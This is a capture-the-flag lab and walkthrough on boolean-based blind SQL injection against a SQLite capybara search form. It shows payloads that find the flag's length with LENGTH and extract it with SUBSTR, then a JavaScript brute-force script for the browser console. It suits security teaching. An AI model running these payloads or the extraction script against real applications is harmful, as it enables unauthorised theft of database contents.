Boolean based blind SQL injection

Obtain flag from table flag field flag in Sqlite DBMS.

ID Name Age Weight
1 Gavin Burns 9 65
2 Cindy Greene 94 56
3 Shirley Hill 57 53

Solution

1. Enter different payloads, for example:

  • qwe
  • capybara's name from table below
  • ' OR 1=1--
  • ' OR 1=2--
send request and observe the output.

From the output we can understand that this is the boolean based blind sql injection.

Since we know that flag is in the flag table and we know the sql injection type, we can do perform our attack. To do so we need to find a lenght of flag first.

2. Enter ' OR LENGTH((SELECT flag FROM flag LIMIT 1)) > 10 -- and observe the output.

Explanation: in query SELECT 1 FROM capybaras WHERE name ='' OR LENGTH((SELECT flag FROM flag LIMIT 1)) > 10 -- :

  • injected quote ' closes the name value
  • OR add a logical operator "or", to make sure we will get our result without regards of the first query (select 1 from capybaras where name="input") results (if the first query returns false)
  • LENGTH add a new command to get the lenght of string
  • SELECT flag FROM flag LIMIT 1 - get value of column flag of first row of table flag
  • > 10 check if LENGTH result is greater then 10
  • -- is a comment symbol in SQLite syntax. Everything after the comment symbol is meaningless to SQL parser
So we have created such query that returns true if the lenght of flag is greater than 10.

If the LENGTH of flag is greater that 10 we should get "Capybara exist!" otherwise "No matches". Now we need to find the exact size. We can do it by trying every possible lenght from 0 to infnite with = operator, or by performing binary search with <,> and = operators.

3. Enter ' OR LENGTH((SELECT flag FROM flag LIMIT 1)) < 30 -- send request and observe the output.

We should get "Capybara exist!" and our flag is less than 30 chars

4. Enter ' OR LENGTH((SELECT flag FROM flag LIMIT 1)) > 20 -- send request and observe the output.

We should get "Capybara exist!" and our flag is greater than 20 chars

5. Enter ' OR LENGTH((SELECT flag FROM flag LIMIT 1)) > 25 -- send request and observe the output.

We should get "No matches" and our flag is less than 26 chars

6. Enter ' OR LENGTH((SELECT flag FROM flag LIMIT 1)) > 23 -- send request and observe the output.

We should get "Capybara exist!" and our flag is greater than 23 chars

7. Enter ' OR LENGTH((SELECT flag FROM flag LIMIT 1)) > 24 -- send request and observe the output.

We should get "Capybara exist!" and our flag is greater than 24 chars. Since only possible value left is 25, we will check if 25 if our desired lenght.

8. Enter ' OR LENGTH((SELECT flag FROM flag LIMIT 1)) = 25 -- send request and observe the output.

We should get "Capybara exist!" and our flag is equals to 25 chars

9. Now ne know the lenght of the flag, and we need to iterate through all possible values for each letter.

The query to do so will be like this' or SUBSTR((SELECT flag FROM flag limit 1), 1, 1) = 'f' --

Explanation: in query SELECT 1 FROM capybaras WHERE name ='' or SUBSTR((SELECT flag FROM flag limit 1), 1, 1) = 'f' --:

  • injected quote ' closes the name value
  • OR add a logical operator "or", to make sure we will get our result without regards of the first query (select 1 from capybaras where name="input") results (if the first query returns false)
  • SUBSTR gets the substring of a string. The first argument of this function is a string, the second is position from left, and the third is the lenght of substring. SUBSTR("str",1,2) will return "st".
  • SELECT flag FROM flag LIMIT 1 - get value of column flag of first row of table flag
  • 1, 1 tells substr
  • = 'f' check if SUBSTR result is equal to 'f'
  • -- is a comment symbol in SQLite syntax. Everything after the comment symbol is meaningless to SQL parser
So we have created such query that returns true if the first char of flag is equals to 'f'.

Lets automate the process of bruteforcing each charecter of flag. The following code sends every possible chars one by one for each position of the flag, untill the responci will be true.


async function bruteForceSQLInjection(baseUrl, paramName, payloadTemplate, charset, maxLength) {
let result = '';
for (let i = 1; i <= maxLength; i++) {
    for (let char of charset) {
    const payload = payloadTemplate.replace('{index}', i).replace('{char}', char);
    const body = new URLSearchParams();
    body.append(paramName, payload);
    try {
        const response = await fetch(baseUrl, {
        method: 'POST',
        body: body,
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        });
        const data = await response.json();
        if (data.result === "Capybara exist!") {
        result += char;
        console.log('Found character:', char);
        break;
        }
    } catch (error) {
        console.error('Error in request:', error);
    }
    }
}
console.log('Extracted string:', result);
}
bruteForceSQLInjection(
'/',     // URL
'search_query', // Post parameter name
"' OR SUBSTR((SELECT flag FROM flag), {index}, 1) = '{char}'--",  // Payload template
'abcdefghijklmnopqrstuvwxyz}_{0123456789', // Character set to iterate over
25 // Length of the string to brute force
);                          
                    

10. Copy and paste this code to browser console and it should output the flag. Edit settings on the bottom if its not working as expected